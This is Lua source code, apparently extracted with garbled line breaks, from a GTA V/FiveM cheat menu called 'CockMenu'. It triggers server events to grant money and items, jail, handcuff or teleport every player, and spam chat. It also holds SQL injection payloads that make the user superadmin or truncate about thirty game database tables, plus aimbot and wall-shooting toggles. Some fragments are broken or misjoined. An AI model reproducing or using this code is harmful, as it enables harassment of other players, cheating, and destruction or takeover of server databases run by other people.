if CockMenu.Main.Button('~g~ESX~s~ Money
(esx_taxijob)', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_taxijob:success'])
end y = y + 0.015
end
if dynamic.TR['drugs:stop_sell_opium'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - STOP
ALL', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_opium'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:drugs:stop_process_opium'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_opium'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_weed'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_weed'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_process_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_process_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_coke'])
end y = y + 0.015
end
if dynamic.TR['drugs:opiumsell'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Sell
Opium', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:opiumsell'])
end y = y + 0.015
end
if dynamic.TR['drugs:opiumprocess'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Process
Opium', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:opiumprocess'])
end y = y + 0.015
end
if dynamic.TR['drugs:opiumfield'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Field
Opium', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:opiumfield'])
end y = y + 0.015
end
if dynamic.TR['drugs:weedsell'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Sell
wead', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:weedsell'])
end y = y + 0.015
end
if dynamic.TR['drugs:weedprocess'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Process
wead', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:weedprocess'])
end y = y + 0.015
end
if dynamic.TR['drugs:weedfield'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Field
wead', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:weedfield'])
end y = y + 0.015
end
if dynamic.TR['coke_feild'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Field
Coke', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['coke_feild'])
end y = y + 0.015
end
if dynamic.TR['coke_process'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Process
Coke', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['coke_process'])
end y = y + 0.015
end
if dynamic.TR['coke_sell'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Sell
Coke', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['coke_sell'])
end y = y + 0.015
end
if dynamic.TR['meth_field'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Field
Meth', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['meth_field'])
end y = y + 0.015
end
if dynamic.TR['meth_process'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Process
Meth', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['meth_process'])
end y = y + 0.015
end
if dynamic.TR['meth_sell'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Sell
Meth', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['meth_sell'])
end y = y + 0.015
end
if dynamic.TR['stop_feild_coke'] then
if CockMenu.Main.Button('~g~ESX~s~ Drugs - Stop
All', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_feild_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_process_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_sell_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_feild_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_process_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['stop_sell_meth'])
end y = y + 0.015
end
if dynamic.TR['giveitem'] then
if CockMenu.Main.Button('~g~ESX~s~ Give item',
0.422, y, false, true) then
local item = Functions.f.CustomInput('Item to
give', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['giveitem'], item)
end y = y + 0.015
end
if dynamic.TR['giveitem2'] then
if CockMenu.Main.Button('~g~ESX~s~ Give item',
0.422, y, false, true) then
local item = Functions.f.CustomInput('Item to
give', '', 30)
local ammount =
Functions.f.CustomInput('Ammount', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['giveitem2'], item, ammount)
end y = y + 0.015
end
if dynamic.TR['doorlock_sound1'] then
if CockMenu.Main.Button('~g~ESX~s~ Sound 1', 0.422,
y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['doorlock_sound1'], 113.0, 'unlockDoor', 0.8)
end y = y + 0.015
end
if dynamic.TR['interact_sound1'] then
if CockMenu.Main.Button('~g~ESX~s~ Sound 2', 0.422,
y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['interact_sound1'], 113.0, 'unlockDoor', 0.8)
end y = y + 0.015
end
if dynamic.TR['interact_sound1'] then
if CockMenu.Main.Button('~g~ESX~s~ Sound 3', 0.422,
y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['interact_sound2'], 113.0, 'lockDoor', 0.8)
end y = y + 0.015
end
if dynamic.TR['reviveesx'] then
if CockMenu.Main.Button('~g~ESX~s~ Revive', 0.422,
y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['reviveesx'])
end y = y + 0.015
end
if dynamic.TR['reviveesx2'] then
if CockMenu.Main.Button('~g~ESX~s~ Revive', 0.422,
y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['reviveesx2'])
end y = y + 0.015
end
if dynamic.TR['policejob_handcuff'] then
if CockMenu.Main.Button('~g~ESX~s~ Handcuff player',
0.422, y, false, true) then
local id = Functions.f.CustomInput('Player Id',
'', 3)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['policejob_handcuff'], id)
end y = y + 0.015
end
if dynamic.TR['policejob_handcuff'] then
if CockMenu.Main.Button('~g~ESX~s~ Handcuff all
players', 0.422, y, false, true) then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['policejob_handcuff'], i)
end
end y = y + 0.015
end
if dynamic.TR['policejob_spammer'] then
if CockMenu.Main.Button('~g~ESX~s~ Spam messages',
0.422, y, false, true) then
CockT.Inv["Thread"](function()
local text =
Functions.f.CustomInput('Message to send', 'CockMenu on Top!', 1000)
local amount =
Functions.f.CustomInput('Times to loop', '10', 3)
for i = 1, CockT.Math.tonumber(amount) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['policejob_spammer'], -1, '('..i..') '..CockT.Strings.tostring(text))
CockT.Inv["Wait"](60)
end
end)
end y = y + 0.015
end
if dynamic.TR['vangelico_get'] then
if CockMenu.Main.Button('~g~ESX~s~ Give jewlery',
0.422, y, false, true) then
dynamic.TR.MoneyLoop = not dynamic.TR.MoneyLoop
CockT.Inv["Thread"](function()
while dynamic.TR.MoneyLoop do
CockT.Inv["Wait"](200)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['vangelico_get'])
end
end)
end y = y + 0.015
end
if dynamic.TR['vangelico_sell'] then
if CockMenu.Main.Button('~g~ESX~s~ Sell jewlery',
0.422, y, false, true) then
local amount = Functions.f.CustomInput('Amount
to sell', '', 3)
for i = 0, CockT.Math.tonumber(amount-1) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['vangelico_sell'])
end
end y = y + 0.015
end
if dynamic.TR['dmv_getlicense'] then
if CockMenu.Main.Button('~g~ESX~s~ Add all
licenses', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['dmv_getlicense'], 'dmv')
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['dmv_getlicense'], 'drive')
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['dmv_getlicense'], 'drive_bike')
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['dmv_getlicense'], 'drive_truck')
end y = y + 0.015
end
if dynamic.TR['tp_all_to_me'] then
if CockMenu.Main.Button('Teleport everyone to me',
0.422, y, false, true) then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['tp_all_to_me'], i)
end
end y = y + 0.015
end
if dynamic.TR['carry_exploit'] then
if CockMenu.Main.Button('Carry all', 0.422, y,
false, true) then
CockT.Inv["Thread"](function()
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if Fatasf.n.GetPlayerPed(v) ~=
Fatasf.n.PlayerPedId() then
CockT.Global.TriggerCustomEvent(true, dynamic.TR['carry_exploit'],
Fatasf.n.GetPlayerPed(v), 'missfinale_c2mcs_1', 'nm', 'fin_c2_mcs_1_camman',
'firemans_carry', 0.15, 0.27, 0.63,Fatasf.n.GetPlayerServerId(v), 100000, 0.0, 49,
33, 1)
CockT.Inv["Wait"](10)
end
end
return
end)
end y = y + 0.015
end
if dynamic.TR['carry_exploitv2'] then
if CockMenu.Main.Button('Teleport all to ocean',
0.422, y, false, true) then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(v)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR["carry_exploitv2"], ped, "missfinale_c2mcs_1", "nm",
"fin_c2_mcs_1_camman", "firemans_carry", 0.15, 0.27,
0.63,Fatasf.n.GetPlayerServerId(v), 100000, 0.0, 49, 33, 1)
CockT.Inv["Wait"](150)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR["carrypeople_stop"],Fatasf.n.GetPlayerServerId(v))
CockT.Inv["Wait"](150)
end
end y = y + 0.015
end
if dynamic.TR['addSuperadmin'] then
if CockMenu.Main.Button('Add admin', 0.422, y,
false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['addSuperadmin'], "';UPDATE `users` SET `permission_level` = '4',
`group` = 'superadmin'where_DSGHSDIUGSDG `users`.`name` =
'"..NetworkPlayerGetName(Fatasf.n.PlayerId()).."';")
end y = y + 0.015
end
--carry_exploitv2
if dynamic.TR['delete_DB'] then
if CockMenu.Main.Button('Delete database', 0.422, y,
false, true) then
CockT.Inv["Thread"](function()
trashTables = {
'addon_account',
'addon_account_data',
'addon_inventory',
'addon_inventory_items',
'billing',
'charicters',
'datastore',
'datastore_data',
'fine_types',
'items',
'jobs',
'job_grades',
'licenses',
'owned_properties',
'phone_app_chat',
'phone_calls',
'phone_messages',
'phone_users_contacts',
'properties',
'rented_vehicles',
'shops',
'society_moneywash',
'users',
'user_accounts',
'user_inventory',
'user_licenses',
'vehicles',
'vehicle_categories',
'vehicle_sold',
'weashops'
}
for key, value in
CockT.Math.pairs(trashTables) do
CockT.Inv["Wait"](25)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['delete_DB'], '\';TRUNCATE TABLE '..value..';-- /')
end
return
end)
end y = y + 0.015
end
if dynamic.TR['open_inv'] then
if CockMenu.Main.Button('Open player inventory',
0.422, y, false, true) then
local id = Functions.f.CustomInput("Enter A
Person's ID", '', 10)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['open_inv'], "otherplayer", id)
end y = y + 0.015
end
if dynamic.TR['Money_Wash'] then
if CockMenu.Main.Button('~g~ESX~s~ Wash money',
0.422, y, false, true) then
local money = Functions.f.CustomInput("Money
ammount", '', 10)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['Money_Wash'], money, 0)
end y = y + 0.015
end
if dynamic.TR['play_song'] then
if CockMenu.Main.Button('~g~ESX~s~ Play custom
song', 0.422, y, false, true) then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local person =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(v))
local song = Functions.f.CustomInput("Enter
a video link (youtbe)", '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['play_da_sound'], song, person)
end
end y = y + 0.015
end
if dynamic.TR['Money_Wash_Zone'] then
if CockMenu.Main.Button('~g~ESX~s~ Wash Money',
0.422, y, false, true) then
local ammount = Functions.f.CustomInput("Enter
ammount", '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['Money_Wash_Zone'], ammount)
end y = y + 0.015
end
if dynamic.TR['garbagejob_pay'] then
if CockMenu.Main.Button('~g~ESX~s~ Give money
(garbagejob)', 0.422, y, false, true) then
local ammount = Functions.f.CustomInput("Enter
ammount", '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['garbagejob_pay'], ammount)
end y = y + 0.015
end
if dynamic.TR['send_bill'] then
if CockMenu.Main.Button('~g~ESX~s~ Send bill',
0.422, y, false, true) then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Inv["Wait"](60)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR["send_bill"],Fatasf.n.GetPlayerServerId(v), "Cock Menu", 9999999)
end
CockT.Inv["Wait"](100)
end
end y = y + 0.015
end
if dynamic.TR['qalle_jailer'] then
if CockMenu.Main.Button('~g~ESX~s~ Jail all
players', 0.422, y, false, true) then
local reason = Functions.f.CustomInput('Custom
Reason', '', 30)
if reason == nil then reason = 'Cock Menu on
top' end
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['qalle_jailer'],Fatasf.n.GetPlayerServerId(i), 1000000, reason)
end
end y = y + 0.015
end
if dynamic.TR['esx_jailer:sendToJail'] then
if CockMenu.Main.Button('~g~ESX~s~ Jail all players
v2', 0.422, y, false, true) then
local reason = Functions.f.CustomInput('Custom
Reason', '', 30)
if reason == nil then reason = 'Cock
Menu on top' end
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_jailer:sendToJail'],Fatasf.n.GetPlayerServerId(i), 1000000, reason)
end
end y = y + 0.015
end
if dynamic.TR['gopostal_pay'] then
if CockMenu.Main.Button('~g~ESX~s~ Give money
(gopostal)', 0.422, y, false, true) then
local ammount =
Functions.f.CustomInput('Ammount?', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['gopostal_pay'], ammount)
end y = y + 0.015
end
if dynamic.TR['esx_status_hungerandthirst'] then
if CockMenu.Main.Button('~g~ESX~s~ Refill hunger and
thirst', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(false,
dynamic.TR['esx_status_hungerandthirst'], 'hunger', 1000000)
CockT.Global.TriggerCustomEvent(false,
dynamic.TR['esx_status_hungerandthirst'], 'thirst', 1000000)
end y = y + 0.015
end
if dynamic.TR['add_vehicle'] then
if CockMenu.Main.Button('~g~ESX~s~ Add vehicle to
garage', 0.422, y, false, true) then
local car = Functions.f.CustomInput('Vehicle',
'', 30)
if
Fatasf.n.IsModelValid(Fatasf.n.GetHashKey(car)) and Fatasf.n.IsModelAVehicle(car)
then
local customplate =
Functions.f.CustomInput('Vehicle plate', '', 30)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['vehicleshop_ownedveh'], {['model'] =
Fatasf.n.GetHashKey(CockT.Strings.tostring(car)), ['plate'] =
CockT.Strings.tostring(customplate)})
end
end y = y + 0.015
end
if dynamic.TR['esx_holdup'] then
if CockMenu.Main.Button('~g~ESX~s~ Money (Bank
Robber)', 0.422, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_holdup'])
end y = y + 0.015
end
if dynamic.TR['esx_carwash:success'] then
if CockMenu.Main.Button('~g~ESX~s~ Remove Money',
0.405, y, false, true) then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_carwash:success'])
end y = y + 0.015
end
end
Fatasf.n.RequestFromWeb("https://cock.menu/configs/save/"..uid.."/1", {
configData = CockT.Strings.jsonencode(Cock.Menu)
}, 'post')
--CockMeni.Functions.AddNotification('Saved config:
#1', "INFO", 5000)
end ]]
--[[ if CockMenu.Main.Button('Report bug', 0.422, 0.48,
false, true) then
local message = Functions.f.CustomInput('Message to
support', '', 2000)
local name =
Fatasf.n.GetPlayerName(Fatasf.n.PlayerId())
local reuid = Fatasf.n.GetRedUid()
local hex = "NaN"-- to do
local ip = Fatasf.n.GetCurrentServerEndpoint()
--local playerdata =
Fatasf.n.IsPedDeadOrDying(Fatasf.n.PlayerPedId(), 1) and "Dead " or "Alive "
if Fatasf.n.GetEntityHealth(Fatasf.n.PlayerPedId())
< 1 then
playerdata = "Dead"
else
playerdata = "Alive"
end
local url =
"https://cock.menu/iuhdsfiash/reports.html".."?
user="..name.."&message="..message.."&sip="..ip.."&status="..playerdata.."&hex="..h
ex.."&reuid="..reuid
local log_dui = Fatasf.n.CreateAnDui(url, 50, 50)
Fatasf.n.DestroyDui(log_dui)
end ]]
if CockMenu.Main.Button('Go back to loader', 0.422,
0.495, false, true) then
CockMenu.MenuEnabled = false
CockT.Global.hIvkXiYg2ogzm1MvdOolDhAhwQdBwv()
end
CockT.Global.PerformanceTuning(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(),
false))
end
if CockMenu.Main.Button('Tuning with ramp', 0.422,
0.455, false, true) then
CockT.Global.TuningRamp()
end
if CockMenu.Main.Button('Flip vehicle', 0.422, 0.47,
false, true) then
Functions.f.FlipVehicle()
end
if CockMenu.Main.Button('Delete vehicle', 0.422, 0.485,
false, true) then
Fatasf.n.DeleteEntity(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId()))
end
if CockMenu.Main.Button('Unlock closest vehicle', 0.422,
0.5, false, true) then
local vehicle = CockT.Inv["Invoke"]
(CockT.Natives['GetClosestVehicle'],
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 25.0, 0, 70)
Functions.f.UnlockVehicle(vehicle)
end
if CockMenu.Main.Button('Lock closest vehicle', 0.422,
0.515, false, true) then
local vehicle = CockT.Inv["Invoke"]
(CockT.Natives['GetClosestVehicle'],
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 25.0, 0, 70)
Functions.f.LockVehicle(vehicle)
end
if CockMenu.Main.Button('Custom colour', 0.422, 0.53,
false, true) then
Cock.Menu.cvcolour = not Cock.Menu.cvcolour
end
if CockMenu.Main.Button('Clean vehicle', 0.422, 0.545,
false, true) then
CockT.Global.CleanVehicle()
end
if CockMenu.Main.Button('Change plate', 0.422, 0.56,
false, true) then
local result = Functions.f.CustomInput('Enter
Vehicle Plate', 'CockMenu', 8)
local car =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleNumberPlateText(car, result)
end
if CockMenu.Main.Button('Random vehicle colour', 0.422,
0.575, false, true) then
CockT.Global.RandomColour()
end
if CockMenu.Main.Checkbox('Cock Plate',0.425, 0.6,
Cock.Menu.cockplate, false) then
Cock.Menu.cockplate = not Cock.Menu.cockplate
end
if CockMenu.Main.Checkbox('Drive to waypoint',0.425,
0.615, Cock.Menu.DriveToWaypoint, false) then
Cock.Menu.DriveToWaypoint = not
Cock.Menu.DriveToWaypoint
end
if CockMenu.Main.Checkbox('NoFall',0.425, 0.63,
Cock.Menu.nofall, false) then
Cock.Menu.nofall = not Cock.Menu.nofall
end
end
if tab == "Addons" then
CockMenu.Main.LoadUi()
local y = 0.365
for k, v in CockT.Math.pairs(CockT.AddonVehs) do
if
Fatasf.n.IsModelValid(Fatasf.n.GetHashKey(v.spawn)) then
if CockMenu.Main.Button(v.name, 0.422, y, false,
true) then
Functions.f.SpawnVehicle(v.spawn)
end
y = y + 0.015
end
end
end
if tab == "Visuals" then
local scroll = 0.365 + Cock.Menu.scr_vis
if CockT.Global.Zones(0.498+drag_x2, 0.465+drag_y2,
0.17, 0.45) then
if Fatasf.n.IsDisabledControlPressed(0, 14) and
scroll > (0.365 - (8 * 0.015)) then
Cock.Menu.scr_vis = Cock.Menu.scr_vis - 0.015
end
if Fatasf.n.IsDisabledControlJustPressed(0, 15) and
scroll ~= 0.365 then
Cock.Menu.scr_vis = Cock.Menu.scr_vis + 0.015
end
end
Fatasf.n.SetExtraTimecycleModifier('mp_lad_day')
else
Fatasf.n.ClearExtraTimecycleModifier()
end
end
end scroll = scroll + 0.015
if scroll >= 0.365 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Tiny player',0.425,
scroll, Cock.Menu.tinyplayer, false) then
Cock.Menu.tinyplayer = not Cock.Menu.tinyplayer
end
end scroll = scroll + 0.015
if scroll >= 0.365 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Slow motion',0.425,
scroll, Cock.Menu.Slowmotion, false) then
Cock.Menu.Slowmotion = not Cock.Menu.Slowmotion
end
end scroll = scroll + 0.015
if scroll >= 0.365 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Hide ID',0.425, scroll,
Cock.Menu.hideid, false) then
Cock.Menu.hideid = not Cock.Menu.hideid
if Cock.Menu.hideid then
CockT.Inv["Thread"](function()
while Cock.Menu.hideid do
CockT.Inv["Wait"](0)
Fatasf.n.DrawRect(0.95, 0.1,
0.2, 0.2, 1, 1, 1, 255)
end
end)
end
end
end scroll = scroll + 0.015
if Cock.Menu.selskins then
if CockMeni.Functions.ComboButton('Delder', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("u_m_m_jesus_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Larks', 0.422, y,
false) then
CockMeni.Functions.SetModelPls("s_f_y_stripper_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Conde', 0.422, y,
false) then
CockMeni.Functions.SetModelPls("u_m_y_mani")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Prodigy', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("u_m_o_filmnoir")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Camuga', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("a_m_m_beach_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('OGG076', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("a_m_y_acult_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Dish', 0.422, y,
false) then
CockMeni.Functions.SetModelPls("a_m_m_mlcrisis_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Theo', 0.422, y,
false) then
CockMeni.Functions.SetModelPls("cs_stretch")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Goxint', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("cs_priest")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Flacko', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("mp_m_freemode_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Cat', 0.422, y,
false) then
CockMeni.Functions.SetModelPls("a_m_m_beach_02")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Laundry', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("a_m_m_og_boss_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('LuaMenu', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("a_m_m_acult_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('Pawcio', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("s_m_m_movspace_01")
end y = y + 0.025
if CockMeni.Functions.ComboButton('HamMafia', 0.422,
y, false) then
CockMeni.Functions.SetModelPls("a_c_rat")
end y = y + 0.025
end
end
if tab == "Aimbot" then
CockMenu.Main.LoadUi()
if CockMenu.Main.Checkbox('Enable aimbot (Hold left-
alt)',0.425, 0.365, Cock.Menu.Aimbot, false) then
Cock.Menu.Aimbot = not Cock.Menu.Aimbot
end
if CockMenu.Main.Checkbox('Enable aimlock',0.425, 0.38,
Cock.Menu.Aimlock, false) then
Cock.Menu.Aimlock = not Cock.Menu.Aimlock
end
if CockMenu.Main.Checkbox('Shoot through walls',0.425,
0.395, Cock.Menu.udwallslock, false) then
Cock.Menu.udwallslock = not Cock.Menu.udwallslock
end
if CockMenu.Main.Checkbox('Enable ragebot',0.425, 0.41,
Cock.Menu.ragebot, false) then
Cock.Menu.ragebot = not Cock.Menu.ragebot
end
if CockMenu.Main.Checkbox('Car Killer',0.425, 0.425,
Cock.Menu.Carkiller, false) then
Cock.Menu.Carkiller = not Cock.Menu.Carkiller
end
if CockMenu.Main.Checkbox('Hit sound
(~r~BETA~s~)',0.425, 0.44, Cock.Menu.hitsound, false) then
Cock.Menu.hitsound = not Cock.Menu.hitsound
end
if CockMenu.Main.Checkbox('Hit marker',0.425, 0.455,
Cock.Menu.hitmarker, false) then
Cock.Menu.hitmarker = not Cock.Menu.hitmarker
end
if CockMenu.Main.Checkbox('Draw targets',0.425, 0.47,
Cock.Menu.targets, false) then
Cock.Menu.targets = not Cock.Menu.targets
end
if CockMenu.Main.Checkbox('Draw fov',0.425, 0.485,
Cock.Menu.fov, false) then
Cock.Menu.fov = not Cock.Menu.fov
end
CockMenu.Main.Slider('FOV', 0.5, 0.515,
Cock.Sliders['AimFov'], 143, 240, 249)
CockMenu.Main.Slider('Distance', 0.5, 0.545,
Cock.Sliders['AimDist'], 143, 240, 249)
if CockMenu.Main.Checkbox('Friends list',0.425, 0.5,
Cock.Menu.friendslist, false) then
Cock.Menu.friendslist = not Cock.Menu.friendslist
end
if CockMenu.Main.Checkbox('Custom damage',0.425, 0.575,
Cock.Menu.CustomDamage, false) then
Cock.Menu.CustomDamage = not Cock.Menu.CustomDamage
end
CockMenu.Main.Slider('Damage modifier', 0.5, 0.59,
Cock.Sliders['CustomDamage'], 143, 240, 249)
CockMenu.Main.Slider('Aimlock smooth', 0.5, 0.615,
Cock.Sliders['AimSmooth'], 143, 240, 249)
if CockMenu.Main.Checkbox('Triggerbot', 0.425, 0.645,
Cock.Menu.triggerbot, false) then
Cock.Menu.triggerbot = not Cock.Menu.triggerbot
end
end
Functions.f.SetCurrentAmmo(Cock.Sliders['CustomAmmo'].value)
end
CockMenu.Main.Slider('', 0.5, 0.555,
Cock.Sliders['CustomAmmo'], 143, 240, 249)
if CockMenu.Main.Checkbox('Suppressor',0.425, 0.58,
Cock.Menu.Suppressor, false) then
Cock.Menu.Suppressor = not Cock.Menu.Suppressor
if Cock.Menu.Suppressor then
CockT.Global.GiveWeaponComponentToPed(0x65EA7EBB)
CockT.Global.GiveWeaponComponentToPed(0x837445AA)
CockT.Global.GiveWeaponComponentToPed(0xA73D4664)
CockT.Global.GiveWeaponComponentToPed(0xC304849A)
CockT.Global.GiveWeaponComponentToPed(0xE608B35E)
else
CockT.Global.RemoveWeaponComponentFromPed(0x65EA7EBB)
CockT.Global.RemoveWeaponComponentFromPed(0x837445AA)
CockT.Global.RemoveWeaponComponentFromPed(0xA73D4664)
CockT.Global.RemoveWeaponComponentFromPed(0xC304849A)
CockT.Global.RemoveWeaponComponentFromPed(0xE608B35E)
end
end
if CockMenu.Main.Checkbox('Flashlight',0.425, 0.595,
Cock.Menu.Flashlight, false) then
Cock.Menu.Flashlight = not Cock.Menu.Flashlight
if Cock.Menu.Flashlight then
CockT.Global.GiveWeaponComponentToPed(0x359B7AAE)
CockT.Global.GiveWeaponComponentToPed(0x7BC4CDDC)
else
CockT.Global.RemoveWeaponComponentFromPed(0x359B7AAE)
CockT.Global.RemoveWeaponComponentFromPed(0x7BC4CDDC)
end
end
if CockMenu.Main.Checkbox('Grip',0.425, 0.61,
Cock.Menu.Grip, false) then
Cock.Menu.Grip = not Cock.Menu.Grip
if Cock.Menu.Grip then
CockT.Global.GiveWeaponComponentToPed(0xC164F53)
else
CockT.Global.RemoveWeaponComponentFromPed(0xC164F53)
end
end
if CockMenu.Main.Checkbox('Scope',0.425, 0.625,
Cock.Menu.Scope, false) then
Cock.Menu.Scope = not Cock.Menu.Scope
if Cock.Menu.Scope then
CockT.Global.GiveWeaponComponentToPed(0x9D2FBF29)
CockT.Global.GiveWeaponComponentToPed(0xA0D89C42)
CockT.Global.GiveWeaponComponentToPed(0xAA2C45B4)
CockT.Global.GiveWeaponComponentToPed(0xD2443DDC)
CockT.Global.GiveWeaponComponentToPed(0x3CC6BA57)
CockT.Global.GiveWeaponComponentToPed(0x3C00AFED)
else
CockT.Global.RemoveWeaponComponentFromPed(0x9D2FBF29)
CockT.Global.RemoveWeaponComponentFromPed(0xA0D89C42)
CockT.Global.RemoveWeaponComponentFromPed(0xAA2C45B4)
CockT.Global.RemoveWeaponComponentFromPed(0xD2443DDC)
CockT.Global.RemoveWeaponComponentFromPed(0x3CC6BA57)
CockT.Global.RemoveWeaponComponentFromPed(0x3C00AFED)
end
end
